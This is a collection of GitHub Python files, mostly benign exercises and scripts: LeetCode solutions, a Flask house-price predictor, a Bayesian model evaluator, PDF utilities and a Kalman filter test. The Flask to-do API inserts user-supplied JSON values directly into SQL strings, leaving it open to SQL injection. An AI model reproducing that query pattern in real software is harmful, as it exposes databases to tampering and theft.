7000:\n            data.append(0)\n            dataset.append(data)\n\n\n    cols = [f\"col_{i}\" for i in range(total)]\n    cols.append(\"Y\")\n    df = pd.DataFrame(dataset, columns=cols)\n    print(df)\n    df.to_csv(\"./rule.csv\", index=False)\n    print(3000 - positive_require)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Nahemah1022/data-mining-course","sub_path":"classifier/abs_generator.py","file_name":"abs_generator.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"226334256","text":"class Solution(object):\n    def rotate(self, matrix):\n        \"\"\"\n        :type matrix: List[List[int]]\n        :rtype: None Do not return anything, modify matrix in-place instead.\n        \"\"\"\n        n = len(matrix)\n\n\n        # transpose matrix\n        for i in range(n):\n            for j in range(i,len(matrix[i])): # set to i, to not swap Main Diagnol\n                matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]\n\n        # adjust column ordering\n        for i in range(n):\n            for j in range(len(matrix[i])//2): # set to j//2 bc swapping midpoint \n                matrix[i][j], matrix[i][n-j-1] = matrix[i][n-j-1] , matrix[i][j]","repo_name":"danieljbae/leetcode_archive","sub_path":"concepts/Arrays/q48_RotateImage.py","file_name":"q48_RotateImage.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10299647291","text":"#!/usr/bin/env python\nfrom flask import Flask, jsonify, request, abort, make_response\nimport yaml, os, sys, inspect\n\n# ======\n# Read MySQL user credentials from a configuration file\n# ======\n\nthis_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nconfig_filepath = os.path.join(this_dir, 'config.yaml')\n\nwith open(config_filepath, 'r') as configfile:\n    config_settings = yaml.load(configfile)\nmysqlusername = config_settings['mysqlusername']\nmysqlpassword = config_settings['mysqlpassword']\n\n\n# ======\n# Set up the Flask app and read in the MySQL db\n# ======\n\napp = Flask(__name__)\n\nimport MySQLdb as mdb\n\nconnection = mdb.connect('localhost', mysqlusername, mysqlpassword, 'python_test')\n\ntasks_base_url = 'http://ec2-54-227-62-182.compute-1.amazonaws.com/todo/tasks'\n\nmaxtasks = 10\n\n\n# ======\n# 404 error handler\n# ======\n\n@app.errorhandler(404)\ndef not_found(error):\n    return make_response(jsonify( { 'error': 'Not found' } ), 404)\n\n# ======\n# Get list of tasks\n# ======\n\n@app.route('/todo/tasks', methods = ['GET'])\ndef get_tasks():\n    '''Return all tasks in JSON format'''\n\n    with connection:\n        cursor = connection.cursor()\n\n    cursor = connection.cursor(mdb.cursors.DictCursor)\n    cursor.execute(\"SELECT * FROM todo_list\") # use LIMIT to limit range of rows returned\n    tasks = [row for row in cursor]\n\n    return jsonify( {'tasks': tasks} )\n\n\n# ======\n# Get a single task\n# ======\n\n@app.route('/todo/tasks/<int:task_id>', methods = ['GET'])\ndef get_task(task_id):\n    '''Return a single task in JSON format'''\n\n    with connection:\n        cursor = connection.cursor()\n\n    cursor = connection.cursor(mdb.cursors.DictCursor)\n    cursor.execute(\"SELECT * FROM todo_list WHERE Id = %d\" % task_id)\n    task = [row for row in cursor]\n    if len(task) == 0:\n        abort(404)\n    task = task[0]\n\n    return jsonify( {'task': task} )\n\n\n# ======\n# Add a task\n# ======\n\n@app.route('/todo/tasks', methods = ['POST'])\ndef create_task():\n    '''Accepts a task in JSON format and adds it to the SQL DB.\n    Returns the added task.\n    Max 10 tasks.'''\n\n    # request must be json format\n    if not request.json or not 'title' in request.json:\n        abort(400)\n\n    # get title and description from the json request\n    title = request.json['title']\n    description = request.json.get('description', \"\")\n\n    with connection:\n        cursor = connection.cursor(mdb.cursors.DictCursor)\n\n    # check how many tasks are currently in the table - abort if there are already 10\n    cursor.execute(\"SELECT * FROM todo_list\")\n    tasks = [row for row in cursor]\n    if len(tasks) == maxtasks:\n        abort(400)\n\n    # insert task into the SQL DB\n    cursor.execute(\"INSERT INTO todo_list(title, description) VALUES('%s', '%s')\" % (title, description))\n\n    # return the row just added\n    cursor.execute(\"SELECT * FROM todo_list ORDER BY Id DESC LIMIT 1\")\n    added_task = [row for row in cursor]\n    added_id = added_task[0]['Id']\n    new_uri = '%s/%d' % (tasks_base_url, added_id)\n    cursor.execute(\"UPDATE todo_list SET uri='%s' WHERE Id='%d'\" % (new_uri, added_id))\n    cursor.execute(\"SELECT * FROM todo_list ORDER BY Id DESC LIMIT 1\")\n    added_task = [row for row in cursor][0]\n\n    return jsonify( { 'task': added_task } ), 201\n\n\n# ======\n# Delete a task\n# ======\n\n@app.route('/todo/tasks/<int:task_id>', methods = ['DELETE'])\ndef delete_task(task_id):\n    '''Delete a task.'''\n\n    with connection:\n        cursor = connection.cursor()\n\n    cursor.execute(\"DELETE FROM todo_list WHERE Id = '%d'\" % task_id)\n\n    return jsonify( { 'result': True } )\n\n\n# ======\n# Edit a task\n# ======\n\n@app.route('/todo/tasks/<int:task_id>', methods = ['PUT'])\ndef update_task(task_id):\n    with connection:\n        cursor = connection.cursor(mdb.cursors.DictCursor)\n\n    cursor.execute(\"SELECT * FROM todo_list WHERE Id = %d\" % task_id) # use LIMIT to limit range of rows returned\n    task = [row for row in cursor]\n\n    if len(task) == 0:\n        abort(404)\n    if not request.json:\n        abort(400)\n    if 'title' in request.json and type(request.json['title']) != unicode:\n        abort(400)\n    if 'description' in request.json and type(request.json['description']) != unicode:\n        abort(400)\n    if 'complete' in request.json and type(request.json['complete']) not in [int, bool]:\n        abort(400)\n\n    task = task[0]\n\n    task['title'] = request.json.get('title', task['title'])\n    task['description'] = request.json.get('description', task['description'])\n    task['complete'] = request.json.get('complete', task['complete'])\n\n    cursor.execute(\"UPDATE todo_list SET title='%s', description='%s', complete='%d' WHERE Id='%d'\" % (task['title'], task['description'], task['complete'], task_id))\n\n    # return the row just updated\n    cursor.execute(\"SELECT * FROM todo_list WHERE Id = %d\" % task_id)\n    updated_task = [row for row in cursor][0]\n\n    return jsonify( { 'task': updated_task } )\n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n    #app.run(host='0.0.0.0', debug=True)\n\n","repo_name":"danielparton/ToDoApp","sub_path":"flask/ToDoApp.py","file_name":"ToDoApp.py","file_ext":"py","file_size_in_byte":5033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"69799364519","text":"from flask import Flask, request, render_template\r\nfrom config import LocalDevelopmentConfig\r\nfrom search_propertiess import search_properties\r\nimport tensorflow as tf\r\nimport random\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\napp = Flask(__name__)\r\nfrom model import *\r\napp = None\r\nUPLOAD_FOLDER=\"static/uploads\"\r\ndef create_app():\r\n    app=Flask(__name__)\r\n    print(\"starting local development\")\r\n    app.config.from_object(LocalDevelopmentConfig)\r\n    app.config[\"UPLOAD_FOLDER\"]=UPLOAD_FOLDER\r\n    db.init_app(app)\r\n    app.app_context().push()\r\n    return app\r\n\r\napp=create_app()\r\n\r\n\r\n@app.route('/seeeearch', methods=['GET','POST'])\r\ndef search():\r\n\r\n    # Get the form data from the request\r\n    location = request.form['location']\r\n    property_type = request.form['property_type']\r\n    new_or_old = request.form['new_or_old']\r\n    bath = request.form['bath']\r\n    bhk = request.form['bhk']\r\n    furnished = request.form['furnished']\r\n    min_budget = request.form['min_budget']\r\n    max_budget = request.form['max_budget']\r\n    \r\n    #give me a random number between 1 and 100\r\n    number=random.randint(1,6)\r\n\r\n\r\n    # Perform the property search\r\n    # print( location +\" \" + property_type+\" \" + new_or_old+\" \" + bath+\" \" + bhk+\" \" + furnished+\" \" + min_budget+\" \" + max_budget)\r\n    lhouses = db.session.query(houses).filter(houses.locality == location, houses.bathroom == bath, houses.bhk == bhk, houses.price.between(min_budget, max_budget)).all()\r\n    print(lhouses)\r\n    if lhouses:\r\n        return render_template('listings.html', houses=lhouses,number=number)\r\n    else:\r\n        return \"HI\"\r\n@app.route('/predict',methods=['GET','POST'])\r\ndef predict():\r\n    if request.method == 'GET':\r\n        return render_template('sell.html')\r\n    if request.method == 'POST':\r\n        year=request.form['year']\r\n        l=list()\r\n        l.append(int(year))\r\n        year=l\r\n        year=np.array(year)\r\n        year=year.astype(int)\r\n        print(year)\r\n        area=np.array(list(request.form['areacode']))\r\n        area=area.astype(int) \r\n        bhk=np.array(list(request.form['bhk']))\r\n        bhk=bhk.astype(int)  \r\n        bathroom=np.array((request.form['bathroom']))\r\n        bathroom=bathroom.astype(int)\r\n        rooms= np.array([15])\r\n        rooms=rooms.astype(int)\r\n        areatotal = np.array([4000])\r\n        areatotal=areatotal.astype(int)    \r\n        print(areatotal)\r\n        new_data = pd.DataFrame({\r\n            'AreaCode': area,\r\n            'Bedroom': bhk,\r\n            'Bath': bathroom,\r\n            'TotalRooms': rooms,\r\n            'YrSold': year,\r\n            'TotalArea': areatotal,\r\n        })\r\n        model=tf.keras.models.load_model('classifier.hdf5')\r\n        predicted_prices = model.predict(new_data)\r\n        predicted_prices = predicted_prices.tolist()\r\n        print(type(predicted_prices))\r\n        predicted_prices=str(predicted_prices[0][0])\r\n        print(predicted_prices)\r\n        return render_template('sell.html',predicted_prices=predicted_prices)\r\n\r\n\r\n@app.route('/answer', methods=['GET','POST'])\r\ndef answer():\r\n    model=tf.keras.models.load_model('classifier.hdf5')\r\n    new_data = pd.DataFrame({\r\n    'AreaCode': [1],\r\n    'Bedroom': [4],\r\n    'Bath': [4],\r\n    'TotalRooms': [15],\r\n    'YrSold': [2008],\r\n    'TotalArea': [4000],\r\n})\r\n    model=tf.keras.models.load_model('../buy3/classifier.hdf5')\r\n    predicted_prices = model.predict(new_data)\r\n    predicted_prices = predicted_prices.tolist()\r\n    print(type(predicted_prices))\r\n    return str(predicted_prices[0][0])\r\n\r\n@app.route('/', methods=['GET'])\r\ndef home():\r\n    return render_template('home.html')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)\r\n","repo_name":"khushipradhan/House-Price-Prediction","sub_path":"buy3 copy/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7661983934","text":"import torch\nfrom torch.utils.data import random_split\nfrom torchsummary import summary\nimport argparse\nimport numpy as np\nimport random\nfrom codebase.models.BBBTimeSeriesPredModel import BBBTimeSeriesPredModel\nfrom codebase.models.BBBTimeSeriesPredModel_FF import BBBTimeSeriesPredModel_FF\nfrom codebase.train import train\nimport codebase.utils as ut\nimport data.data_utils as data_ut\nfrom tqdm import tqdm\n\n### RWSE Functions\n\ndef rwse(model, full_true_trajs, n_samples=100):\n    \"\"\" root-weighted square error (RWSE) captures \n        the deviation of a model’s probability\n        mass from real-world trajectories\n    \"\"\"\n    inputs = full_true_trajs[:model.n_input_steps, :, :].detach()\n    targets = full_true_trajs[model.n_input_steps:, :, :2].detach()\n    \n    # tile based on number of samples\n    inputs = inputs.repeat(1,n_samples,1)\n    targets = targets.repeat(1,n_samples,1)\n    \n    if model.BBB and model.rnn_cell_type==\"LSTM\":\n        wse = wse_bbb_rnn(model, inputs, targets)\n    elif not model.BBB and model.rnn_cell_type==\"LSTM\":\n        wse = wse_rnn(model, inputs, targets)\n    elif model.BBB and model.rnn_cell_type==\"FF\":\n        wse = wse_bbb_ff(model, inputs, targets)\n    elif not model.BBB and model.rnn_cell_type==\"FF\":\n        wse = wse_ff(model, inputs, targets)\n    else:\n        raise Exception('Incorrect model specified')\n        \n    rwse = wse.mean().sqrt()\n    return rwse\n\ndef wse_bbb_rnn(model, inputs, targets):\n    pred = model.forward(inputs).detach()\n    if not model.constant_var:\n        pred = pred[:, :, :-1]\n    return ((targets - pred) ** 2).sum(-1).sum(0)\n\ndef wse_rnn(model, inputs, targets):\n    pred = model.forward(inputs).detach()\n    if not model.constant_var:\n        mean, var = ut.gaussian_parameters(pred, dim=-1)\n    else:\n        mean = pred\n        var = model.pred_var\n    sample_trajs = ut.sample_gaussian(mean, var)\n    return ((targets - sample_trajs) ** 2).sum(-1).sum(0)\n\ndef wse_bbb_ff(model,inputs,targets):\n    raise Exception('Yet to formulate bbb ff')\n\ndef wse_ff(model, inputs, targets):\n    pred = model.forward(inputs).detach()\n    if not model.constant_var:\n        mean, var = ut.gaussian_parameters_ff(pred, dim=0)\n    else:\n        mean = pred\n        var = model.pred_var\n\n    sample_trajs = ut.sample_gaussian(mean, var)\n    return ((targets - sample_trajs) ** 2).sum(-1).sum(0)\n\n### RMSE Functions\n\ndef rmse(model, full_true_trajs, n_samples=100):\n    \"\"\" root-mean square error (RMSE) captures \n        the deviation of a model’s expected trajectory from\n        mass from real-world trajectories\n    \"\"\"    \n    inputs = full_true_trajs[:model.n_input_steps, :, :].detach()\n    targets = full_true_trajs[model.n_input_steps:, :, :2].detach()\n    \n    if model.BBB and model.rnn_cell_type==\"LSTM\":\n        mse = mse_bbb_rnn(model, inputs, targets, n_samples)\n    elif not model.BBB and model.rnn_cell_type==\"LSTM\":\n        mse = mse_rnn(model, inputs, targets, n_samples)\n    elif model.BBB and model.rnn_cell_type==\"FF\":\n        mse = mse_bbb_ff(model, inputs, targets, n_samples)\n    elif not model.BBB and model.rnn_cell_type==\"FF\":\n        mse = mse_ff(model, inputs, targets, n_samples)\n    else:\n        raise Exception('Incorrect model specified')\n        \n    rmse = mse.mean().sqrt()\n    return rmse\n\ndef mse_bbb_rnn(model, inputs, targets, n_samples): #FIXME\n    sample_tensor = torch.zeros(*targets.shape,n_samples)\n    for i in range(n_samples):\n        pred = model.forward(inputs).detach()\n        if not model.constant_var:\n            pred = pred[:, :, :-1]\n        sample_tensor[:,:,:,i] = pred\n    mean_pred = sample_tensor.mean(3)\n    return ((targets - mean_pred) ** 2).sum(-1).sum(0)\n\ndef mse_rnn(model, inputs, targets, n_samples):\n    pred = model.forward(inputs).detach()\n    if not model.constant_var:\n        mean, var = ut.gaussian_parameters(pred, dim=-1)\n    else:\n        mean = pred\n        var = model.pred_var\n    return ((targets - mean) ** 2).sum(-1).sum(0)\n\ndef mse_bbb_ff(model, inputs, targets, n_samples):\n    raise Exception('Yet to formulate bbb ff')\n\ndef mse_ff(model, inputs, targets, n_samples):\n    pred = model.forward(inputs).detach()\n    if not model.constant_var:\n        mean, var = ut.gaussian_parameters_ff(pred, dim=0)\n    else:\n        mean = pred\n        var = model.pred_var\n    return ((targets - mean) ** 2).sum(-1).sum(0)\n\n\n### Run on Execution ::\n\nparser = argparse.ArgumentParser()\n# Data\nparser.add_argument('--dataset_name', type=str, default='highd')\nparser.add_argument('--batch_size', type=int, default=30)\nparser.add_argument('--n_input_steps', type=int, default=50)\nparser.add_argument('--n_pred_steps', type=int, default=20)\nparser.add_argument('--input_feat_dim', type=int, default=4)\nparser.add_argument('--pred_feat_dim', type=int, default=2)\n# Network\nparser.add_argument('--hidden_feat_dim', type=int, default=100)\n# Model\nparser.add_argument('--cell', type=str, default='LSTM')\nparser.add_argument('--constant_var', type=int, default=0)\nparser.add_argument('--BBB', type=int, default=0)\nparser.add_argument('--sharpen', type=int, default=0)\nparser.add_argument('--likelihood_cost_form', type=str, default='gaussian')\nparser.add_argument('--nlayers', type=int, default=1)\nparser.add_argument('--dropout', type=float, default=0)\nparser.add_argument('--pi', type=float, default=0.25)\nparser.add_argument('--logstd1', type=int, default=-1)\nparser.add_argument('--logstd2', type=int, default=-6)\n# Train\nparser.add_argument('--clip_grad', type=int, default=5)\nparser.add_argument('--run', type=int, default=1)\nparser.add_argument('--training', action='store_true', default=False)\n\nargs = parser.parse_args()\n\nstd1 = np.exp(args.logstd1)\nstd2 = np.exp(args.logstd2)\n\n# # automatic\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\ngpu = False if device == torch.device('cpu') else True\n\n# Enforced settings:\nif not args.BBB:\n    args.sharpen = False\n    layout = [\n        ('model={:s}', args.cell),\n        ('BBB={}', bool(args.BBB)),\n        ('data={:s}', args.dataset_name),\n        ('nlayers={:d}', args.nlayers),\n        ('nhid={:d}', args.hidden_feat_dim),\n        ('const_var={}', bool(args.constant_var)),\n        ('dropout={:.1f}', args.dropout),\n        ('clipgrad={}', str(args.clip_grad)),\n        ('loss={:s}', args.likelihood_cost_form),\n        ('run={:d}', args.run),\n    ]\nelse:\n    layout = [\n        ('model={}', args.cell),\n        ('BBB={}', bool(args.BBB)),\n        ('data={:s}', args.dataset_name),\n        ('nlayers={:d}', args.nlayers),\n        ('nhid={:d}', args.hidden_feat_dim),\n        ('const_var={}', bool(args.constant_var)),\n        ('dropout={:.1f}', args.dropout),\n        ('clipgrad={}', str(args.clip_grad)),\n        ('loss={:s}', args.likelihood_cost_form),\n        ('sharpen={}', bool(args.sharpen)),\n        ('pi={:.2f}', args.pi),\n        ('logstd1={:d}', args.logstd1),\n        ('logstd2={:d}', args.logstd2),\n        ('run={:d}', args.run),\n    ]\n\nmodel_name = '_'.join([t.format(v) for (t, v) in layout])\n\nif args.cell == 'LSTM':\n    model = BBBTimeSeriesPredModel(\n            num_rnn_layers=args.nlayers,\n            pi=args.pi,\n            std1=std1,\n            std2=std2,\n            gpu=gpu,\n            BBB=bool(args.BBB),\n            training=args.training,\n            sharpen=bool(args.sharpen),\n            dropout=args.dropout,\n            likelihood_cost_form=args.likelihood_cost_form,\n            input_feat_dim=args.input_feat_dim,\n            pred_feat_dim=args.pred_feat_dim,\n            hidden_feat_dim=args.hidden_feat_dim,\n            n_input_steps=args.n_input_steps,\n            n_pred_steps=args.n_pred_steps,\n            constant_var=bool(args.constant_var),\n            rnn_cell_type=args.cell,\n            name=model_name,\n            device=device).to(device)\n    \nelif args.cell == 'FF':\n    model = BBBTimeSeriesPredModel_FF(\n            num_hidden_layers=args.nlayers,\n            pi=args.pi,\n            std1=std1,\n            std2=std2,\n            gpu=gpu,\n            BBB=bool(args.BBB),\n            training=args.training,\n            sharpen=bool(args.sharpen),\n            dropout=args.dropout,\n            likelihood_cost_form=args.likelihood_cost_form,\n            input_feat_dim=args.input_feat_dim,\n            pred_feat_dim=args.pred_feat_dim,\n            hidden_feat_dim=args.hidden_feat_dim,\n            n_input_steps=args.n_input_steps,\n            n_pred_steps=args.n_pred_steps,\n            constant_var=bool(args.constant_var),\n            name=model_name,\n            device=device).to(device)\n\nut.load_final_model_by_name(model)\nmodel.eval()\n\n# read training set \ntraining_set = data_ut.read_highd_data(\n    'highd_processed_tracks01-60_fr05_loc123456_p0.30', \n    args.batch_size, device)\n\n# pick arbitrary test with some of trajectories\nnp.random.seed(0)\nn_batches = len(training_set)\nsplit = 0.05\nind = np.random.choice(range(n_batches), size=(int(n_batches * split),), replace=False)\ntest_set_batches = [training_set[i] for i in ind]\n\nrwses = []\nrmses = []\nfor test_set in tqdm(test_set_batches):\n    # calculate metrics and return results\n    rwses.append(rwse(model, test_set, n_samples=100).detach().item())\n    rmses.append(rmse(model, test_set, n_samples=100).detach().item())\nprint(\"RWSE: {:.3f} +/ {:.3f}\".format(np.array(rwses).mean(), np.array(rwses).std()))\nprint(\"RMSE: {:.3f} +/ {:.3f}\".format(np.array(rmses).mean(), np.array(rmses).std()))\n\n","repo_name":"parachutel/bayes-by-backprop","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":9434,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"31167198454","text":"# https://leetcode.com/problems/reverse-bits/description/\n\n\"\"\"\nReverse bits of a given 32 bits unsigned integer.\n\nExample:\n\nInput: 43261596\nOutput: 964176192\nExplanation: 43261596 represented in binary as 00000010100101000001111010011100,\n             return 964176192 represented in binary as 00111001011110000010100101000000.\nFollow up:\nIf this function is called many times, how would you optimize it?\n\"\"\"\n\n\nclass Solution:\n    # @param n, an integer\n    # @return an integer\n    def reverseBits(self, n):\n        to_binary = str(bin(n))[2:]\n        filled = to_binary.zfill(32)\n        reversed = filled[::-1]\n        return int(reversed, 2)\n\n\nsol = Solution()\ninp = 43261596\nprint(sol.reverseBits(inp))","repo_name":"sgrade/pytest","sub_path":"leetcode/reverse_bits.py","file_name":"reverse_bits.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12617762866","text":"from docx2pdf import convert\n\n\nclass Converter:\n\n    def __init__(self, saving_name_pdf, saving_name_docx):\n        self.filename = saving_name_pdf\n        self.filename_docx = saving_name_docx\n\n    def convert(self):\n        print('Converting ', self.filename, \" into PDF...\")\n        convert(self.filename_docx)\n        while True:\n            try:\n                convert(self.filename)\n                break\n            except AssertionError:\n                print(\"Error in 3rd-party API, but you should not care...\")\n                break\n\n        print(\"SUCCESS\")","repo_name":"Mamadzhanov/Bewerbung_sender","sub_path":"docxToPdf.py","file_name":"docxToPdf.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34376000024","text":"import random\nimport math\n\nlower = int(input(\"Enter lower bound: - \"))\nupper = int (input(\"Enter higher bound: - \"))\n\nx = random.randint(lower, upper)\nallowedGuess = round(math.log(upper - lower + 1, 2))\nprint(\"\\n\\tYou only have \", allowedGuess, \" chances to guess the integer!\\n\")\n\nguessCount = 0\n\nwhile guessCount < allowedGuess:\n    guessCount += 1\n    guess = int (input(\"Guess a number:- \"))\n    if x == guess:\n        if x == 1:\n             print(\"Congratulations you guessed the number in 1 try\")   \n        else:\n            print(\"Congratulations you guessed the number in \", guessCount, \" tries\")   \n        break\n    elif x > guess:\n        print(\"You guessed too small!\")\n    elif x < guess:\n        print(\"You guessed too high!\")\n\nif guessCount >= allowedGuess:\n        print(\"\\nThe number is %d\" % x)\n        print(\"\\tBetter luck next time!\")","repo_name":"rzuberi/numGuessPy","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17284458086","text":"import psonic\n\nMARIO_NOTES = [\n    76, 76, 76, 72, 76, 79, 67, 72, 67, 64, 69, 71,\n    70, 69, 67, 76, 79, 81, 77, 79, 76, 72, 74, 71\n]\nnote_number = 0\n\nwhile note_number < len(MARIO_NOTES):\n    psonic.use_synth(psonic.PIANO)\n    print(note_number, '/', len(MARIO_NOTES), 'MIDI NOTE:', MARIO_NOTES[note_number])\n    \n    # this just pauses the execution until the \n    # user presses enter (which resumes the loop)\n    input('Press enter to play next note') \n    psonic.play(MARIO_NOTES[note_number])\n    note_number += 1\n\nprint('End loop. No more notes')","repo_name":"eecs110/winter2019","sub_path":"course-files/lectures/lecture_06/answers/03_answers_while_play_notes.py","file_name":"03_answers_while_play_notes.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"8259879302","text":"#!/usr/bin/env python3\nimport argparse\nfrom argparse import RawTextHelpFormatter\nfrom Bio import SeqIO\nfrom Bio.SeqRecord import SeqRecord\nimport pandas as pd\nfrom Bio.Seq import Seq\n\n\ndef get_input():\n\tusage = 'python3 extract_protein_seqs_panaroo.py ...'\n\tparser = argparse.ArgumentParser(description='script to get AA sequences from panaroo output in fasta format', formatter_class=RawTextHelpFormatter)\n\tparser.add_argument('-i', '--infile', action=\"store\", help='input file of desired rows from gene_data.csv in csv (with header row)',  required=True)\n\tparser.add_argument('-o', '--outfile', action=\"store\", help='outfile file in fasta format',  required=True)\n\targs = parser.parse_args()\n\n\treturn args\n\nargs = get_input()\n\n# read the csv in \n\ncolnames=['gff_file', 'scaffold_name', 'clustering_id', 'annotation_id', 'prot_sequence', 'dna_sequence', 'gene_name', 'description'] \n# if file is empty\n\ntry:\n    gene_data_df = pd.read_csv(args.infile, delimiter= ',', index_col=False, header=None, names=colnames, skiprows = 1)\nexcept pd.errors.EmptyDataError:\n    print('csv is empty')\n\n\nwith open(args.outfile, 'w') as aa_fa:\n    for index, row in gene_data_df.iterrows():\n        sequence = Seq(row[\"prot_sequence\"])\n        aa_record = SeqRecord(seq=sequence, id=str(row[\"gff_file\"])+\",\"+str(row[\"annotation_id\"]), description=\"\")\n        SeqIO.write(aa_record, aa_fa, 'fasta')\n","repo_name":"gbouras13/Useful_Scripts","sub_path":"extract_proteins_seqs_panaroo.py","file_name":"extract_proteins_seqs_panaroo.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"75004926119","text":"\"\"\"\n\n   JoinDates.py - Joins features with quads to populate date fields\n\n\n\n\n\n\"\"\"\n\nimport sys\n\nimport time\n\nstart = time.clock()\n\nimport arcgisscripting\ngp = arcgisscripting.create(9.3)   # Old School\ngp.overwriteoutput = 1\n\n#\n# ArcGIS 10.0 needs the m/z flags explicitly set to disabled\n#\ngp.outputmflag = \"DISABLED\"\ngp.outputzflag = \"DISABLED\"\n\n# Get the script parameters\ninFC = sys.argv[1]         # Input feature class\nquadFC = sys.argv[2]       # Quads feature class with dates\n\ndesc = gp.Describe(inFC)\ngp.workspace = desc.Path\n                \n# Output Feature Class - just append '_dates' to input\noutFC = inFC + \"_dates\"\n\n# Create field mappins\ngp.AddMessage(\"Creating field mappings.\")\n\nfm = gp.CreateObject('FieldMappings')\nfm.AddTable(inFC)\nfm.AddTable(quadFC)\n\n# Remove unwanted fields\nfor fname in ('AREA', 'PERIMETER', 'Q24KMISS_', 'Q24KMISS_I', \\\n              'STATE1', 'STATE2', 'STATE3', 'STATE4', 'NAME', \\\n              'QUADID', 'QuadName', 'Imprint', 'PhotoIns', \\\n              'PhotoRev', 'FieldCheck', 'Survey', 'Edit'):\n    fm.RemoveFieldMap(fm.FindFieldMapIndex(fname))\n\ngp.AddMessage(\"Joining to quads.\")\n\n# Join based on \"closest\" which gets \"most\"\ngp.SpatialJoin(inFC, quadFC, outFC, '#', '#', fm, 'CLOSEST')\n\ngp.DeleteField(outFC, 'Join_Count')\n\ncount = int(gp.GetCount(outFC).GetOutput(0))\n\nelapsed = time.clock() - start\nmsg = \"Processed \" + str(count) + \" features in \" \\\n    + str(elapsed) + \" seconds.\"\n\ngp.AddMessage(msg)\n\nrate = count / elapsed\n\nmsg = \"That's a rate of \" + str(rate) + \" features per second.\"\n\ngp.AddMessage(msg)\n    \n# Pass the resulting dataset back to ArcGIS  \ngp.SetParameterAsText(2, outFC)\ndel gp","repo_name":"ebwolf/mdTools","sub_path":"JoinDates.py","file_name":"JoinDates.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"2612627879","text":"import numpy as np\nfrom kalman_filter import *\nimport random\nfrom math import sqrt,pi\nnp.set_printoptions(precision=2, suppress=True)\nrandom.seed(13)\n\n\nclass createPoints(object):\n    def __init__(self, x0=0, velocity=1,sensor_var=0.0,process_var=0.0):\n        \"\"\" x0 : initial position\n            velocity: (+=right, -=left)\n            sensor_var: variance in measurement m^2\n            process_var: variance in process (m/s)^2\n        \"\"\"\n        self.x = x0\n        self.velocity = velocity\n        self.sensor_var = sensor_var\n        self.process_var = process_var\n\n    def move(self, dt=1): #Compute new position in dt seconds.\n        dx = self.velocity + np.random.randn()*sqrt(self.process_var)\n        self.x += dx * dt\n\n    def sense_position(self): #Returns measurement of new position in meters.\n        measurement = self.x + np.random.randn()*sqrt(self.sensor_var)\n        return measurement\n\n    def move_and_sense(self): #Change position, and return measurement of new position in meters\n        self.move()\n        return self.sense_position()\n\ndef main():\n    process_var=1 \n    sensor_var=2\n    velocity=1\n    dt=1  #time step\n    doPrint=True\n    x = Gaussian(0., 20.**2)\n\n    pts=createPoints(x.mean(),velocity,sensor_var,process_var)\n    measurements=[]\n    pos=[]\n    N=10\n    for i in range(0,N):\n        measurements.append(pts.move_and_sense())\n        pos.append(pts.move_and_sense())\n    \n\n    kf=Kalman_Filter(x,velocity,dt,process_var,sensor_var,measurements,doPrint)\n    kf.toPlot()\n    #kf.Algorithm()\n\nif __name__==\"__main__\":\n\tmain()","repo_name":"adheeshc/Kalman-and-Bayesian-Filter","sub_path":"1D Kalman Filter/tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"14410144834","text":"from PyPDF2 import PdfFileMerger, PdfFileReader, PdfFileWriter\nimport os\nimport glob\nfrom os import path\n\nclass MergeAllPDF:\n    def __init__(self):\n        self.mergelist = []\n\n    def create(self, filepath, outpath, outfilename):\n        self.outfilname = outfilename\n        self.filepath = filepath\n        self.outpath = outpath\n        self.pdfs = glob.glob(self.filepath)\n        self.myrange = len(self.pdfs)\n\n        for _ in range(self.myrange):\n            if self.pdfs:\n                self.mergelist.append(self.pdfs.pop(0))\n        self.mergelist.sort();\n        self.merge()\n\n    def merge(self):\n        if self.mergelist:\n            self.merger = PdfFileMerger()\n            for pdf in self.mergelist:\n                self.merger.append(open(pdf, 'rb'))  \n            self.merger.write(self.outpath + \"%s.pdf\" % (self.outfilname))\n            self.merger.close()\n            self.mergelist = []\n        else:\n            print(\"mergelist is empty please check your input path\")\n\n# example how to use\n#update your path here:\n\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n#print(dir_path)\nin_path = os.path.join(dir_path,\"./*.pdf\") #here are your single page pdfs stored\nout_path = os.path.join(dir_path,\"./\") #here your merged pdf will be stored\nif(path.exists(\"merged_midterm.pdf\")):\n    print(\"Merged file was Created!\")\nelse:\n    b = MergeAllPDF()\n    b.create(in_path, out_path, 